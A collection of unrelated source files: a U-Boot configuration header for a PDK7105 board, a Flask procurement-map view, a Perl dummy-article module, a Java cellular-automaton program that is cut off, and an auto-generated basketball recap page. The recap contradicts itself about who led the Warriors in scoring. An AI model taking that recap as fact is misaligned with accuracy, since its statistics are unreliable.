/*----------------------------------------------------------------------- * Start addresses for the final memory configuration * Assume we run out of uncached memory for the moment */ #define CFG_NAND_YAFFS_WRITE #if defined(CFG_BOOT_FROM_SPI) /* we are booting from SPI, so *DO* swap CSA and CSC with JE2 */ #define CFG_EMI_SPI_BASE 0xA0000000 /* CSA: SPI Flash, Physical 0x00000000 (64MiB) */ #define CFG_EMI_NOR_BASE 0xA4000000 /* CSB: NOR Flash, Physical 0x04000000 (32MiB) */ #define CFG_EMI_NAND_BASE 0xA6000000 /* CSC: NAND Flash, Physical 0x06000000 (8MiB) */ #define CFG_NAND_FLEX_CSn_MAP { 0 } /* NAND is on Chip Select CSA */ #elif defined(CFG_BOOT_FROM_NAND) /* we are booting from NAND, so *DO* swap CSA and CSC with JE2 */ #define CFG_EMI_NAND_BASE 0xA0000000 /* CSA: NAND Flash, Physical 0x00000000 (64MiB) */ #define CFG_EMI_NOR_BASE 0xA4000000 /* CSB: NOR Flash, Physical 0x04000000 (32MiB) */ #define CFG_NAND_FLEX_CSn_MAP { 0 } /* NAND is on Chip Select CSA */ #else /* else, do *NOT* swap CSA and CSC using JE2 */ #define CFG_EMI_NOR_BASE 0xA0000000 /* CSA: NOR Flash, Physical 0x00000000 (64MiB) */ #define CFG_EMI_NAND_BASE 0xA6000000 /* CSC: NAND Flash, Physical 0x06000000 (8MiB) */ #define CFG_NAND_FLEX_CSn_MAP { 2 } /* NAND is on Chip Select CSC */ #endif /* CFG_BOOT_FROM_NAND */ #ifdef CONFIG_SH_SE_MODE #define CFG_FLASH_BASE CFG_EMI_NOR_BASE/* NOR FLASH (uncached) via PMB */ #define CFG_SE_PHYSICAL_BASE 0x40000000 /* LMI Physical Address */ #define CFG_SDRAM_BASE 0x80000000 /* LMI Cached addr via PMB */ #define CFG_SE_UNACHED_BASE 0x90000000 /* LMI UN-cached addr via PMB */ #define CFG_SE_SDRAM_WINDOW (CFG_SDRAM_SIZE-1) #else #define CFG_FLASH_BASE CFG_EMI_NOR_BASE/* NOR FLASH in P2 region */ #define CFG_SDRAM_BASE 0x8C000000 /* SDRAM in P1 region */ #endif #define CFG_SDRAM_SIZE 0x10000000 /* 256 MiB of LMI SDRAM */ #define CFG_MONITOR_LEN 0x00040000 /* Reserve 256 KiB for Monitor */ #define CFG_MONITOR_BASE CFG_FLASH_BASE #define CFG_MALLOC_LEN (1 << 20) /* Reserve 1 MiB for malloc */ #define CFG_BOOTPARAMS_LEN (128 << 10) /* 128 KiB */ #define CFG_GBL_DATA_SIZE 1024 /* Global data structures */ #define CFG_MEMTEST_START CFG_SDRAM_BASE #define CFG_MEMTEST_END (CFG_SDRAM_BASE + CFG_SDRAM_SIZE - (3 << 20)) #define CONFIG_BAUDRATE 115200 #define CFG_BAUDRATE_TABLE { 9600, 19200, 38400, 57600, 115200 } #define XSTR(s) STR(s) #define STR(s) #s #define BOARD pdk7105 #if CFG_MONITOR_LEN == 0x00020000 /* 128 KiB */ # define MONITOR_SECTORS "1:0" /* 1 sector */ #elif CFG_MONITOR_LEN == 0x00040000 /* 256 KiB */ # define MONITOR_SECTORS "1:0-1" /* 2 sectors */ #else /* unknown */ # error "Unable to determine sectors for monitor" #endif #define CONFIG_EXTRA_ENV_SETTINGS \ "board=" XSTR(BOARD) "\0" \ "monitor_base=" XSTR(CFG_MONITOR_BASE) "\0" \ "monitor_len=" XSTR(CFG_MONITOR_LEN) "\0" \ "monitor_sec=" MONITOR_SECTORS "\0" \ "load_addr=" XSTR(CFG_LOAD_ADDR) "\0" \ "ipaddr=192.9.150.61\0" \ "serverip=192.9.150.67\0" \ "bootdelay=0\0" \ "update_uboot=" \ "usb start;" \ "fatload usb 0 80000000 u-boot.bin;" \ "update_spi_uboot \0" \ "unprot=" \ "protect off $monitor_sec\0" \ "update=" \ "erase $monitor_sec;" \ "cp.b $load_addr $monitor_base $monitor_len;" \ "protect on $monitor_sec\0" \ "ethaddr=12:34:56:78:06:BD\0"\ "bootcmd=nboot 80000000 0 100000;bootm 80000000\0"\ "bootargs= console=ttyAS0,115200 root=/dev/mtdblock1 rootfstype=yaffs2 rw nwhwconf=device:eth0,hwaddr:10:08:E2:12:06:BD phyaddr:0,watchdog:5000 mem=120M bigphysarea=2048\0" // "bootargs= console=ttyAS0,115200 root=/dev/mtdblock1 rootfstype=jffs2 rw nwhwconf=device:eth0,hwaddr:10:08:E2:12:06:BD phyaddr:0,watchdog:5000 ip=192.168.111.111::192.168.10.1:255.255.255.0:7105_1::off mem=120M bigphysarea=2048\0" /*-------------------------------------------------------------- * Command line configuration. */ #include <config_cmd_default.h> #define CONFIG_CMD_ASKENV #define CONFIG_CMD_NFS #define CONFIG_CMD_PING #define CONFIG_CMD_DHCP #define CONFIG_CMD_MII /*-------------------------------------------------------------- * Serial console info */ /* * We can use one of two methods for the "serial" console. * We can either use the (normal hardware) internal ST ASC UART; * OR we can use STMicroelectronics' DTF (Data Transfer Format) * mechanism over a JTAG link to a remote GDB debugger. */ #if 1 # define CONFIG_STM_ASC_SERIAL /* use a ST ASC UART */ #else # define CONFIG_STM_DTF_SERIAL /* use DTF over JTAG */ #endif /* choose which ST ASC UART to use */ #if 1 /* 9-pin D-type connector on STi7105-SDK-SB daughter board */ # define CFG_STM_ASC_BASE ST40_ASC2_REGS_BASE /* UART #2 */ #else /* JN5, 6-way connector - QQQ NOT TESTED */ # define CFG_STM_ASC_BASE ST40_ASC3_REGS_BASE /* UART #3 */ #endif /*--------------------------------------------------------------- * Ethernet driver config */ /* * There are 2 options for ethernet, both use the on-chip ST-GMAC. * The choice in PHYs are: * The on-board Micrel KSZ8041FTL * External PHY connected via the MII off-board 15x2 header. */ /* are we using the internal ST GMAC device ? */ #define CONFIG_DRIVER_NET_STM_GMAC /* * Select the appropriate base address for the GMAC. * Also, choose which PHY to use. */ #ifdef CONFIG_DRIVER_NET_STM_GMAC # define CFG_STM_STMAC_BASE 0xfd110000ul /* MAC = STM GMAC0 */ //# define CONFIG_STMAC_KSZ8041FTL /* PHY = Micrel KSZ8041FTL */ # define CONFIG_CMD_MII # define CONFIG_ETHADDR DE:EA:FF:FF:01:01 # define CONFIG_STMAC_STE10XP #else # undef CONFIG_CMD_NET /* undefine if no networking at all */ #endif /* CONFIG_DRIVER_NET_STM_GMAC */ /* If this board does not have eeprom for ethernet address so allow the user * to set it in the environment */ #define CONFIG_ENV_OVERWRITE /*--------------------------------------------------------------- * USB driver config */ /* Choose if we want USB Mass-Storage Support */ #define CONFIG_SH_STB7100_USB #ifdef CONFIG_SH_STB7100_USB # define CONFIG_CMD_USB # define CONFIG_CMD_FAT # define CONFIG_USB_OHCI_NEW # define CONFIG_USB_STORAGE # define CFG_USB_OHCI_CPU_INIT # define CFG_USB0_BASE 0xfe100000 /* rear (adjacent to RJ-45) */ # define CFG_USB1_BASE 0xfea00000 /* front (near corner) */ # define CFG_USB_BASE CFG_USB0_BASE //# define CFG_USB_BASE CFG_USB1_BASE # define CONFIG_SH_STX_STX7105_USB_PORT0 /* enable Port #0 */ //# define CONFIG_SH_STX_STX7105_USB_PORT1 /* enable Port #1 */ # define CONFIG_SH_STX_STX7105_USB_OC 1 /* use overcurrent */ # define CONFIG_SH_STX_STX7105_USB_PW 1 /* use power control */ # define CFG_USB_OHCI_REGS_BASE (CFG_USB_BASE+0xffc00) /* JGONG 0427 MASK # define USB_EXT_REGS (CFG_USB0_BASE+0xffc00) # define USB_INT_REGS (CFG_USB1_BASE+0xffc00) */ # define USB_EXT_REGS (CFG_USB1_BASE+0xffc00) # define USB_INT_REGS (CFG_USB0_BASE+0xffc00) # define CFG_USB_OHCI_SLOT_NAME "ohci" # define CFG_USB_OHCI_MAX_ROOT_PORTS 1 # define LITTLEENDIAN #endif /* ifdef CONFIG_SH_STB7100_USB */ /*--------------------------------------------------------------- * SATA driver config */ /* SATA works on cut 3.x of the STx7105 (just one port) */ /* Choose if we want to use a SATA HDD */ //#define CONFIG_SH_STM_SATA #ifdef CONFIG_SH_STM_SATA # define CONFIG_CMD_IDE /* enable "ide" command set */ # define CFG_ATA_BASE_ADDR 0xfe209000 /* E-SATA connector */ # define CFG_ATA_IDE0_OFFSET 0x800 /* Host Controller */ # define CFG_ATA_REG_OFFSET 0x0 # define CFG_ATA_DATA_OFFSET 0x0 # define CFG_ATA_STRIDE 0x4 # define CFG_IDE_MAXBUS 1 # define CFG_IDE_MAXDEVICE 1 #endif /* CONFIG_SH_STM_SATA */ #if defined(CONFIG_SH_STM_SATA) || \ defined(CONFIG_SH_STB7100_USB) # define CFG_64BIT_LBA # define CONFIG_LBA48 # define CONFIG_DOS_PARTITION # define CONFIG_CMD_EXT2 #endif /*----------------------------------------------------------------------- * Miscellaneous configurable options */ #define CFG_HUSH_PARSER 1 #define CONFIG_AUTO_COMPLETE 1 #define CFG_LONGHELP 1 /* undef to save memory */ #define CFG_PROMPT "PDK7105> " /* Monitor Command Prompt */ #define CFG_PROMPT_HUSH_PS2 "> " #define CFG_CBSIZE 1024 #define CFG_PBSIZE (CFG_CBSIZE+sizeof(CFG_PROMPT)+16) /* Print Buffer Size */ #define CFG_MAXARGS 16 /* max number of command args */ #define CFG_HZ 1000 /* HZ for timer ticks */ #define CFG_LOAD_ADDR CFG_SDRAM_BASE /* default load address */ #define CFG_BOOTMAPSZ (16 << 20) /* initial linux memory size */ #define CONFIG_BOOTDELAY 0 /* default delay before executing bootcmd */ #define CONFIG_ZERO_BOOTDELAY_CHECK #define CONFIG_CMDLINE_EDITING /*----------------------------------------------------------------------- * FLASH organization */ /* Choose if we want FLASH Support (SPI, NAND &/or NOR devices) * With the PDK7105 combination, we may use *both* * NOR and NAND flash, at the same time, if we want. * * Note: by default CONFIG_CMD_FLASH is defined in config_cmd_default.h */ #undef CONFIG_CMD_FLASH /* undefine it, define only if needed */ //#define CONFIG_CMD_FLASH /* define for NOR flash */ #define CONFIG_CMD_NAND /* define for NAND flash */ #define CONFIG_SPI_FLASH /* define for SPI serial flash */ /*----------------------------------------------------------------------- * NOR FLASH organization */ /* S29GL01GP: 128MiB, 1024 blocks * 128KiB block size */ #ifdef CONFIG_CMD_FLASH /* NOR flash present ? */ # define CFG_FLASH_CFI_DRIVER # define CFG_FLASH_CFI # define CONFIG_FLASH_PROTECT_SINGLE_CELL # define CFG_FLASH_PROTECTION 1 /* use hardware flash protection */ # define CFG_MAX_FLASH_BANKS 1 /* max number of memory banks */ # define CFG_MAX_FLASH_SECT 1024 /* max number of sectors on one chip */ # define CFG_FLASH_EMPTY_INFO /* test if each sector is empty */ # define MTDPARTS_NOR \ "physmap-flash:" /* First NOR flash device */ \ "256k(U-Boot)" /* first partition */ \ ",128k(Environment)" \ ",4M(Kernel)" \ ",-(RestOfNor0)" /* last partition */ # define MTDIDS_NOR \ "nor0=physmap-flash" /* First NOR flash device */ #else # undef CONFIG_CMD_IMLS /* NOR-flash specific */ # define CFG_NO_FLASH /* NOR-flash specific */ #endif /* CONFIG_CMD_FLASH */ /*----------------------------------------------------------------------- * NAND FLASH organization */ /* HY27UH08AG5B : 2GiB 8-bit, 16384 Blocks (128KiB+4KiB) of 64 Pages (2048+64) */ #ifdef CONFIG_CMD_NAND /* NAND flash present ? */ # define CFG_MAX_NAND_DEVICE 1 # define NAND_MAX_CHIPS CFG_MAX_NAND_DEVICE # define CFG_NAND0_BASE CFG_EMI_NAND_BASE # define CFG_NAND_BASE_LIST { CFG_NAND0_BASE } # define MTDPARTS_NAND \ "gen_nand.1:" /* First NAND flash device */ \ "128k(env-nand0)" /* first partition */ \ ",4M(kernel-nand0)" \ ",32M(root-nand0)" \ ",-(RestOfNand0)" /* last partition */ # define MTDIDS_NAND \ "nand0=gen_nand.1" /* First NAND flash device */ /* * Currently, there are 2 main modes to read/write from/to * NAND devices on STM SoCs: * a) "bit-banging" (can NOT be used in boot-from-NAND) * b) FLEX-mode (only supported means for boot-from-NAND) * If CFG_NAND_FLEX_MODE is defined, then FLEX-mode will be * used, otherwise, "bit-banging" will be used. */ # define CFG_NAND_FLEX_MODE /* define to use NAND FLEX-MODE */ /* * Do we want to read/write NAND Flash compatible with the ST40's * NAND Controller H/W IP block for "boot-mode"? If we want * to read/write NAND flash that is meant to support booting * from NAND, then we need to use 3 bytes of ECC per 128 byte * record. If so, then define the "CFG_NAND_ECC_HW3_128" macro. */ # define CFG_NAND_ECC_HW3_128 /* define for "boot-from-NAND" compatibility */ /* * If using CFG_NAND_ECC_HW3_128, then we must also define * where the (high watermark) boundary is. That is, the * NAND offset, below which we are in "boot-mode", and * must use 3 bytes of ECC for each 128 byte record. * For this offset (and above) we can use any supported * ECC configuration (e.g 3/256 S/W, or 3/512 H/W). */ # define CFG_NAND_STM_BOOT_MODE_BOUNDARY (1ul << 20) /* 1 MiB */ /* * If we want to store the U-boot environment variables in * the NAND device, then we also need to specify *where* the * environment variables will be stored. Typically this * would be immediately after the U-boot monitor itself. * However, that *may* be a bad block. Define the following * to place the environment in an appropriate good block. */ # define CFG_NAND_ENV_OFFSET (CFG_MONITOR_LEN + 0x0) /* immediately after u-boot.bin */ #endif /* CONFIG_CMD_NAND */ /*----------------------------------------------------------------------- * SPI SERIAL FLASH organization */ /* * Name Manuf Device * ----- ----- ------ * US3 ST M25P64 */ #if defined(CONFIG_SPI_FLASH) /* SPI serial flash present ? */ # define CONFIG_SPI_FLASH_ST /* ST M25Pxx (US3) */ # define CONFIG_SPI /* enable the SPI driver */ # define CONFIG_CMD_SPI /* SPI serial bus command support */ # define CONFIG_CMD_EEPROM /* enable the "eeprom" command set */ # define CFG_I2C_FRAM /* to minimize performance degradation */ # undef CFG_EEPROM_PAGE_WRITE_DELAY_MS /* to minimize performance degradation */ # define CONFIG_SOFT_SPI /* Use "bit-banging" PIO (not the SSC) */ #endif /* CONFIG_SPI_FLASH */ #if defined(CONFIG_SOFT_SPI) /* Use "bit-banging" for SPI */ # define SPI_SCL(val) do { stx7105_spi_scl((val)); } while (0) # define SPI_SDA(val) do { stx7105_spi_sda((val)); } while (0) # define SPI_DELAY do { udelay(1); } while (0) /* QQQ: only 500 kHz ??? */ # define SPI_READ stx7105_spi_read() #endif /* CONFIG_SOFT_SPI */ /*----------------------------------------------------------------------- * Address, size, & location of U-boot's Environment Sector */ #define CFG_ENV_SIZE 0x10000 /* 16 KiB of environment data */ #if 1 && defined(CONFIG_CMD_FLASH) /* NOR flash present ? */ # define CFG_ENV_IS_IN_FLASH /* environment in NOR flash */ # define CFG_ENV_OFFSET CFG_MONITOR_LEN /* immediately after u-boot.bin */ # define CFG_ENV_SECT_SIZE 0x20000 /* 128 KiB Sector size */ #elif 0 && defined(CONFIG_CMD_NAND) /* NAND flash present ? */ # define CFG_ENV_IS_IN_NAND /* environment in NAND flash */ # define CFG_ENV_OFFSET CFG_NAND_ENV_OFFSET # if CFG_ENV_SIZE < 0x20000 /* needs to be a multiple of block-size */ # undef CFG_ENV_SIZE /* give it just one large-page block */ # define CFG_ENV_SIZE 0x20000 /* 128 KiB of environment data */ # endif /* if CFG_ENV_SIZE < 0x20000 */ #elif 1 && defined(CONFIG_SPI_FLASH) /* SPI serial flash present ? */ # define CFG_ENV_IS_IN_EEPROM /* ENV is stored in SPI Serial Flash */ # define CFG_ENV_OFFSET 0x80000 //CFG_MONITOR_LEN /* immediately after u-boot.bin */ #else # define CFG_ENV_IS_NOWHERE /* ENV is stored in volatile RAM */ #endif /* CONFIG_CMD_NAND */ /*---------------------------------------------------------------------- * JFFS2 + MTD Partition support */ #if 1 && (defined(CONFIG_CMD_FLASH) || defined(CONFIG_CMD_NAND)) # define CONFIG_CMD_JFFS2 /* enable JFFS2 support */ #define CONFIG_JFFS2_DEV "nand0" #define CONFIG_JFFS2_PART_SIZE 0x6400000 #define CONFIG_JFFS2_PART_OFFSET 0x9b00000 #define CONFIG_JFFS2_LZO_LZARI #endif #if defined(CONFIG_CMD_JFFS2) //# define CONFIG_JFFS2_CMDLINE /* mtdparts command line support */ #undef CONFIG_JFFS2_CMDLINE /* mtdparts command line support */ # define CONFIG_JFFS2_NAND 1 /* JFFS2 support on NAND Flash */ # if defined(CONFIG_CMD_FLASH) && defined(CONFIG_CMD_NAND) /* Both NOR + NAND */ # define MTDPARTS_DEFAULT \ "mtdparts=" \ MTDPARTS_NOR /* NOR flash devices */ \ ";" /* delimiter */ \ MTDPARTS_NAND /* NAND flash devices */ # define MTDIDS_DEFAULT \ MTDIDS_NOR /* NOR flash devices */ \ "," /* delimiter */ \ MTDIDS_NAND /* NAND flash devices */ # elif defined(CONFIG_CMD_FLASH) /* Only NOR flash devices */ # define MTDPARTS_DEFAULT "mtdparts=" MTDPARTS_NOR # define MTDIDS_DEFAULT MTDIDS_NOR # elif defined(CONFIG_CMD_NAND) /* Only NAND flash devices */ # define MTDPARTS_DEFAULT "mtdparts=" MTDPARTS_NAND # define MTDIDS_DEFAULT MTDIDS_NAND # endif /* defined(CONFIG_CMD_FLASH) && defined(CONFIG_CMD_NAND) */ #endif /* CONFIG_CMD_JFFS2 */ #endif /* __CONFIG_H */
dlintw/twpda-uboot
src/include/configs/pdk7105.h
C
gpl-2.0
18,694
from flask import Response from flask.views import View from bson import json_util from mcp import mongo class Map(View): def dispatch_request(self, komuna, viti): json = mongo.db.procurements.aggregate([ { "$match": { "komuna.slug": komuna, "viti": viti, "kompania.selia.slug": {'$ne': ''} } }, { "$group": { "_id": { "selia": "$kompania.selia.slug", "emri": "$kompania.selia.emri", "gjeresi": "$kompania.selia.kordinatat.gjeresi", "gjatesi": "$kompania.selia.kordinatat.gjatesi", }, "cmimi": { "$sum": "$kontrata.qmimi" }, "vlera": { "$sum": "$kontrata.vlera" }, "numriKontratave": { "$sum": 1 } } }, { "$sort": { "_id.selia": 1 } }, { "$project": { "selia": "$_id.selia", "emri": "$_id.emri", "gjeresia": "$_id.gjeresi", "gjatesia": "$_id.gjatesi", "cmimi": "$cmimi", "vlera": "$vlera", "numriKontratave": "$numriKontratave", "_id": 0 } } ]) json_min_max = mongo.db.procurements.aggregate([ { "$match": { "komuna.slug": komuna, "viti": viti, "kompania.selia.slug": {'$ne': ''} } }, { "$group": { "_id": { "selia": "$kompania.selia.slug", "gjeresi": "$kompania.selia.kordinatat.gjeresi", "gjatesi": "$kompania.selia.kordinatat.gjatesi", }, "sumCmimi": { "$sum": "$kontrata.qmimi" }, "sumVlera": { "$sum": "$kontrata.vlera" }, "sumNumriKontratave": { "$sum": 1 } } }, { "$group": { "_id": {}, "maxCmimi": { "$max": "$sumCmimi" }, "maxVlera": { "$max": "$sumVlera" }, "maxNumriKontratave": { "$max": "$sumNumriKontratave" }, "minCmimi": { "$min": "$sumCmimi" }, "minVlera": { "$min": "$sumVlera" }, "minNumriKontratave": { "$min": "$sumNumriKontratave" }, } }, { "$project": { "_id": 0, "vlera": { "min": "$minVlera", "max": "$maxVlera", }, "cmimi": { "min": "$minCmimi", "max": "$maxCmimi", }, "numriKontratave": { "min": "$minNumriKontratave", "max": "$maxNumriKontratave", } } } ]) #pergjigjen e kthyer dhe te konvertuar ne JSON ne baze te json_util.dumps() e ruajme ne resp result_json = {}; result_json['bounds'] = json_min_max['result'][0] result_json['result'] = json['result'] resp = Response( response=json_util.dumps(result_json), mimetype='application/json') return resp
opendatakosovo/municipality-procurement-api
mcp/views/map.py
Python
gpl-2.0
4,266
package BSE::DummyArticle; use strict; use base 'BSE::TB::SiteCommon'; use base 'BSE::FormatterBase'; use BSE::TB::Articles; use base 'BSE::MetaOwnerBase'; our $VERSION = "1.007"; sub images { return; } sub files { return; } { for my $name (BSE::TB::Article->columns) { eval "sub $name { \$_[0]{$name} }"; } } sub restricted_method { return 0; } sub section { $_[0]; } sub is_descendant_of { 0; } sub parent { return; } sub is_dynamic { 1; } sub is_step_ancestor { 0; } sub menu_ancestors { return; } sub should_index { 1; } sub tags { (); } sub has_tags { 0; } sub meta_owner_type { 'bse_article'; } sub meta_meta_cfg_section { "global article metadata"; } sub meta_meta_cfg_prefix { "article metadata"; } sub metafields { my ($self, $cfg) = @_; $cfg ||= BSE::Cfg->single; my %metanames = map { $_ => 1 } $self->metanames; require BSE::ArticleMetaMeta; my @fields = grep $metanames{$_->name} || $_->cond($self), BSE::ArticleMetaMeta->all_metametadata($cfg); return ( @fields ); } 1;
tonycoz/bse
site/cgi-bin/modules/BSE/DummyArticle.pm
Perl
gpl-2.0
1,058
<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>Curry and the Warriors win over Toronto, 126-105</title> <link rel="stylesheet" type="text/css" href="../css/style.css"> </head> <body> <h1>Curry and the Warriors win over Toronto, 126-105</h1> </br> <h2 style="color:gray">by NBANLP Recap Generator</h2> </br></br> <img src="../img/09/05.jpg" alt="No image loaded" align="right" style="height:50%; width:50%;margin-left:20px;margin-bottom:20px;"> <p>Stephen Curry had a great game, scoring 26 points for the Warriors. The Warriors largest lead was by 23 with 5 minutes remaining in the 3rd. Marreese Speights and Draymond Green put up a combined total 42 points.</p> <p>Stephen made contributions in scoring with 26 points for the Warriors. Curry got 12 assists and 5 rebounds for the Warriors.</p> <p>The Warriors led by as much as 23 in the 3rd with a 89-66 lead.</p> <p>Marreese Speights and Draymond Green combined for 42 points of the Warriors total. Each scoring 26 and 16 points respectively. Speights added 8 rebounds. Green added 13 assists and 11 rebounds. His biggest contribution was in the 1st quarter, recording 10 of his total points.</p> <p>The Warriors surged with a 12 and 0 run in the 3rd. The Warriors took advantage of the Raptors 2 turnovers and 2 missed attempts during that time.</p> <p>The Warriors are 26-5 for the season. The Raptors are 23-9. The Raptors have lost their last 2 games. The Warriors add to their streak, winning their last 3.</p> <p>Draymond led the Warriors with 16 points, 13 assists, and 11 rebounds. Greivis led the Raptors in scoring with 23 points. Vasquez got 7 assists and 5 rebounds. Kyle made contributions in scoring with 18 points for the Raptors. Lowry contributed 8 assists and 5 rebounds for the Raptors. He put in 11 in the 1st quarter alone.</p> </body> </html>
jacobbustamante/NBANLPRecap
web/2014_season/2015010209.html
HTML
gpl-2.0
1,894
/** * Copyright (C) 2009 Andrea Bonomi - <andrea.bonomi@gmail.com> * * https://github.com/andreax79/one-neighbor-binary-cellular-automata * * This program is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License as published by the * Free Software Foundation; either version 2 of the License, or (at your * option) any later version. * * This program is distributed in the hope that it will be useful, but * WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY * or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License * for more details. * * You should have received a copy of the GNU General Public License along * with this program; if not, write to the Free Software Foundation, Inc., * 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA.) * */ package com.github.andreax79.meca; import java.awt.Color; import java.awt.Graphics2D; import java.awt.image.BufferedImage; import java.io.File; import java.io.FileOutputStream; import java.io.IOException; import java.util.LinkedList; import java.util.List; import org.apache.commons.cli.CommandLine; import org.apache.commons.cli.CommandLineParser; import org.apache.commons.cli.HelpFormatter; import org.apache.commons.cli.Option; import org.apache.commons.cli.OptionBuilder; import org.apache.commons.cli.OptionGroup; import org.apache.commons.cli.Options; import org.apache.commons.cli.ParseException; import org.apache.commons.cli.PosixParser; import com.sun.image.codec.jpeg.JPEGCodec; import com.sun.image.codec.jpeg.JPEGEncodeParam; import com.sun.image.codec.jpeg.JPEGImageEncoder; public class Main { private static int cellSize = 2; public static Stats drawRule(int ruleNumber, int size, Boundaries boundaries, UpdatePattern updatePattern, int steps, double alpha) throws IOException { return drawRule(ruleNumber, size, boundaries, updatePattern, steps, alpha, null, Output.all, ColorScheme.omegaColor); } public static Stats drawRule(int ruleNumber, int size, Boundaries boundaries, UpdatePattern updatePattern, int steps, double alpha, String pattern, Output output, ColorScheme colorScheme) throws IOException { Rule rule = new Rule(ruleNumber); Row row = new Row(size, rule, boundaries, updatePattern, pattern, alpha); // e.g. 00010011011111 Stats stats = new Stats(); FileOutputStream finalImage = null; Graphics2D g = null; BufferedImage img = null; if (output != Output.noOutput) { String fileName = "rule"+ruleNumber; // pattern if (pattern != null) fileName += pattern; // alpha if (alpha > 0) fileName += String.format("_a%02d", (int)(alpha*100)); // updatePattern if (updatePattern != UpdatePattern.synchronous) fileName += "-" + updatePattern; fileName += ".jpeg"; File file = new File(fileName); finalImage = new FileOutputStream(file); int width = (int) (cellSize*(size+1) * (output == Output.all ? 1.25 : 1)); int height = cellSize*(steps+1); img = new BufferedImage(width, height, BufferedImage.TYPE_INT_RGB); g = img.createGraphics(); g.setBackground(Color.white); g.clearRect(0,0,width,height); g.setColor(Color.black); } int startMeansFromStep = 50; List<Double> densities = new LinkedList<Double>(); double totalDensities = 0; double prevValue = 0; double prevDelta = 0; double prevOnes = 0; double prevOnesDelta = 0; for (int t=0; t<steps; t++) { if (t >= startMeansFromStep) { double density = row.getDensity(); densities.add(density); totalDensities+=density; } // System.out.println(String.format("%4d", t) + " " + row.toString() + " ones=" + row.getOnes()); if (output != Output.noOutput) { for (int j=0; j<row.getSize(); j++) { switch (colorScheme) { case noColor: if (row.getCell(j).getState()) { g.setColor(Color.black); g.fillRect(j*cellSize,t*cellSize,cellSize,cellSize); } break; case omegaColor: g.setColor(row.getCell(j).getOmegaColor()); g.fillRect(j*cellSize,t*cellSize,cellSize,cellSize); break; case activationColor: if (row.getCell(j).getState()) { g.setColor(row.getCell(j).getColor()); g.fillRect(j*cellSize,t*cellSize,cellSize,cellSize); } break; } } if (output == Output.all) { double value = row.getValue(); double delta = Math.abs(value - prevValue); double ones = row.getOnes(); double onesDelta = Math.abs(ones - prevOnes); if (t > 0) { g.setColor(Color.red); g.drawLine((int)(prevValue*cellSize/4.0)+cellSize*(size+1),(int)((t-1)*cellSize), (int)(value*cellSize/4.0)+cellSize*(size+1),(int)(t*cellSize)); g.setColor(Color.blue); g.drawLine((int)(prevOnes*cellSize/4.0)+cellSize*(size+1),(int)((t-1)*cellSize), (int)(ones*cellSize/4.0)+cellSize*(size+1),(int)(t*cellSize)); if (t >1) { g.setColor(Color.orange); g.drawLine((int)(prevDelta*cellSize/4.0)+cellSize*(size+1),(int)((t-1)*cellSize), (int)(delta*cellSize/4.0)+cellSize*(size+1),(int)(t*cellSize)); g.setColor(Color.cyan); g.drawLine((int)(prevOnesDelta*cellSize/4.0)+cellSize*(size+1),(int)((t-1)*cellSize), (int)(onesDelta*cellSize/4.0)+cellSize*(size+1),(int)(t*cellSize)); } } prevValue = value; prevDelta = delta; prevOnes = ones; prevOnesDelta = onesDelta; } } row = new Row(row); } double means = totalDensities / densities.size(); double var = 0; for (double density : densities) var += Math.pow(density - means, 2); var = var / densities.size(); System.out.println("Rule: " + ruleNumber + " Boundaties: " + boundaries + " UpdatePattern: " + updatePattern + " Alpha: " + String.format("%.3f",alpha) + " Means: " + String.format("%.6f",means) + " Variance: " + String.format("%.6f",var)); stats.setMeans(means); stats.setVariance(var); if (output != Output.noOutput) { JPEGImageEncoder encoder = JPEGCodec.createJPEGEncoder(finalImage); JPEGEncodeParam param = encoder.getDefaultJPEGEncodeParam(img); param.setQuality(1.0f,true); encoder.encode(img, param); finalImage.flush(); finalImage.close(); } return stats; } @SuppressWarnings("static-access") public static void main(String[] args) { // create the command line parser CommandLineParser parser = new PosixParser(); // create the Options Options options = new Options(); options.addOption("X", "suppress-output", false, "don't create the output file" ); OptionGroup boundariesOptions = new OptionGroup(); boundariesOptions.addOption(new Option("P", "periodic", false, "periodic boundaries (default)" )); boundariesOptions.addOption(new Option("F", "fixed", false, "fixed-value boundaries" )); boundariesOptions.addOption(new Option("A", "adiabatic", false, "adiabatic boundaries" )); boundariesOptions.addOption(new Option("R", "reflective", false, "reflective boundaries" )); options.addOptionGroup(boundariesOptions); OptionGroup colorOptions = new OptionGroup(); colorOptions.addOption(new Option("bn", "black-white", false, "black and white color scheme (default)")); colorOptions.addOption(new Option("ca", "activation-color", false, "activation color scheme" )); colorOptions.addOption(new Option("co", "omega-color", false, "omega color scheme" )); options.addOptionGroup(colorOptions); options.addOption(OptionBuilder.withLongOpt("rule") .withDescription("rule number (required)") .hasArg() .withArgName("rule") .create()); options.addOption(OptionBuilder.withLongOpt("width") .withDescription("space width (required)") .hasArg() .withArgName("width") .create()); options.addOption(OptionBuilder.withLongOpt("steps") .withDescription("number of steps (required)") .hasArg() .withArgName("steps") .create()); options.addOption(OptionBuilder.withLongOpt("alpha") .withDescription("memory factor (default 0)") .hasArg() .withArgName("alpha") .create()); options.addOption(OptionBuilder.withLongOpt("pattern") .withDescription("inititial pattern") .hasArg() .withArgName("pattern") .create()); options.addOption("s", "single-seed", false, "single cell seed" ); options.addOption("si", "single-seed-inverse", false, "all 1 except one cell" ); options.addOption(OptionBuilder.withLongOpt("update-patter") .withDescription("update patter (valid values are " + UpdatePattern.validValues() + ")") .hasArg() .withArgName("updatepatter") .create()); // test // args = new String[]{ "--rule=10", "--steps=500" , "--width=60", "-P" , "-s" }; try { // parse the command line arguments CommandLine line = parser.parse( options, args ); if (!line.hasOption("rule")) throw new ParseException("no rule number (use --rule=XX)"); int rule; try { rule = Integer.parseInt(line.getOptionValue("rule")); if (rule < 0 || rule > 15) throw new ParseException("invalid rule number"); } catch (NumberFormatException ex) { throw new ParseException("invalid rule number"); } if (!line.hasOption("width")) throw new ParseException("no space width (use --width=XX)"); int width; try { width = Integer.parseInt(line.getOptionValue("width")); if (width < 1) throw new ParseException("invalid width"); } catch (NumberFormatException ex) { throw new ParseException("invalid width"); } if (!line.hasOption("steps")) throw new ParseException("no number of steps (use --steps=XX)"); int steps; try { steps = Integer.parseInt(line.getOptionValue("steps")); if (width < 1) throw new ParseException("invalid number of steps"); } catch (NumberFormatException ex) { throw new ParseException("invalid number of steps"); } double alpha = 0; if (line.hasOption("alpha")) { try { alpha = Double.parseDouble(line.getOptionValue("alpha")); if 